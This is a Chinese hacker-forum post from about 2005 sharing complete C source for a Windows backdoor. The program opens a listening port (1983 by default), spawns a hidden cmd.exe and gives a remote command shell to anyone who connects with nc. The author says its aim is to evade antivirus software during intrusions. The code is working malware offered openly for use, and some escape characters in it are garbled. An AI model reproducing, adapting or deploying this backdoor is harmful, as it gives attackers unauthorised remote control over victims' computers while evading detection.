一個簡單的CMDSHELL後門
文章作者: 小馬/SmallHorse [E.S.T VIP](這個E.S.T VIP寫不寫是無所謂的)
資訊來源: 邪惡八進位 中國
最近閑著無聊,自己琢磨著寫了個簡單的CMDSHELL後門。同時也避免了入侵時被殺毒軟體K了。參考了T-CMD原始碼和以前黑防的相關文章。從中學到了很多知識。
程式很簡單,運行後預設開啟1983連接埠,也可以自己設定連接埠,等待用戶端來串連。串連可以使用nc。本來還想設計成服務讓其開機後自動運行,由於時間問題等以後完善了。
用法:smallhorse [-p port] -p參數用於設定自己的連接埠
下面是來源程式,貼出來和大家共同學習進步,同時希望高手不吝指教,小馬在此謝了先。
QQ:11189658 E-MAIL:horse_man@163.com
在vc++6.0 WIN2003下編譯通過
#include<winsock2.h>
#include <stdio.h>
#pragma comment (lib, "Ws2_32.lib")
int port=1983;
DWORD WINAPI ClientThread(LPVOID lpParam);
void Help()
{printf(" /***************************************///n");
printf(" |This SmallHorse's First CMDSHELL V0.1 |/n");
printf(" |Thanks For Using It! |/n");
printf(" |SmallHorse [E.S.T] VIP 2005.03 |/n");
printf(" |***************************************|/n");
printf(" |usage:smallhorse [-p port] |/n");
printf(" | port: Port Number To Listen On |/n");
printf(" | Default Port Is 1983 |/n");
printf(" //***************************************//n");
return;
}
void OpenDoor()
{
// 初始化 Winsock.
WSADATA wsaData;
SOCKET m_socket,AcceptClient;
sockaddr_in Service,Client;
int ClientSize,i=0;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
return;
// 建立一個 socket.
m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if(m_socket==SOCKET_ERROR)
return;
Service.sin_family = AF_INET;
Service.sin_addr.s_addr = htonl(INADDR_ANY);
Service.sin_port = htons( port );
if(bind( m_socket, (SOCKADDR*)&Service, sizeof(Service) )==SOCKET_ERROR)
return;//邦定
if (listen(m_socket,5)==SOCKET_ERROR)
return;//最大監聽列隊5個
printf("/nsmallhorse Listen On Port: %d... ^*^/n",port);
ClientSize=sizeof(Client);
while(1)
{
AcceptClient=accept(m_socket,(SOCKADDR*)&Client,&ClientSize);
if(AcceptClient==SOCKET_ERROR)
return;//接受串連
printf( "Client Connected./n");
char *sendbuf = "/***************************************///n/tThanks For Using.../n/tSmallHorse's CmdShell!/n/tGood Luck!/n//***************************************//n/n";
send( AcceptClient, sendbuf, strlen(sendbuf), 0 );
if(CreateThread(NULL,0,ClientThread,(LPVOID)&AcceptClient,0,NULL)==NULL)
printf("Create Thread Error!/n");
Sleep(1000);
}
WSACleanup();
return;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{int ret;
char Buf[1024];
HANDLE Rpipe,Wpipe,Wfile,Rfile;
SOCKET AcceptClient=(SOCKET)*(SOCKET*)lpParam;
SECURITY_ATTRIBUTES sa;
sa.nLength=sizeof(sa);
sa.bInheritHandle=TRUE;
sa.lpSecurityDescriptor=NULL;
ret=CreatePipe(&Rpipe,&Rfile,&sa,0);
ret=CreatePipe(&Wfile,&Wpipe,&sa,0); //建立兩個管道,分別用於接收命令和顯示結果
STARTUPINFO startinfo;
GetStartupInfo(&startinfo);
startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput=Wfile;
startinfo.hStdError=startinfo.hStdOutput=Rfile;
startinfo.wShowWindow=SW_HIDE;
char cmdline[MAX_PATH];
GetSystemDirectory(cmdline,MAX_PATH);
strcat(cmdline,("//cmd.exe"));
PROCESS_INFORMATION proinfo;
ret=CreateProcess(cmdline,NULL,NULL,NULL,1,0,NULL,NULL,&startinfo,&proinfo);
unsigned long ByteRec;
while(1)
{
Sleep(100);
PeekNamedPipe(Rpipe,Buf,1024,&ByteRec,0,0);
if(ByteRec){
ret=ReadFile(Rpipe,Buf,ByteRec,&ByteRec,0);
if(!ret)
break;
ret=send(AcceptClient,Buf,ByteRec,0);
if(ret<=0)
break;
}
else{
ByteRec=recv(AcceptClient,Buf,1024,0);
if(ByteRec<=0)
break;
ret=WriteFile(Wpipe,Buf,ByteRec,&ByteRec,0);
if(!ret)
break;
}
}
return 0;
}
int main(int argc, char *argv[])
{
Help();
if(argc==3)
if(!strcmp(argv[1],"-p"))
port=atoi(argv[2]);
OpenDoor();
return 0;
}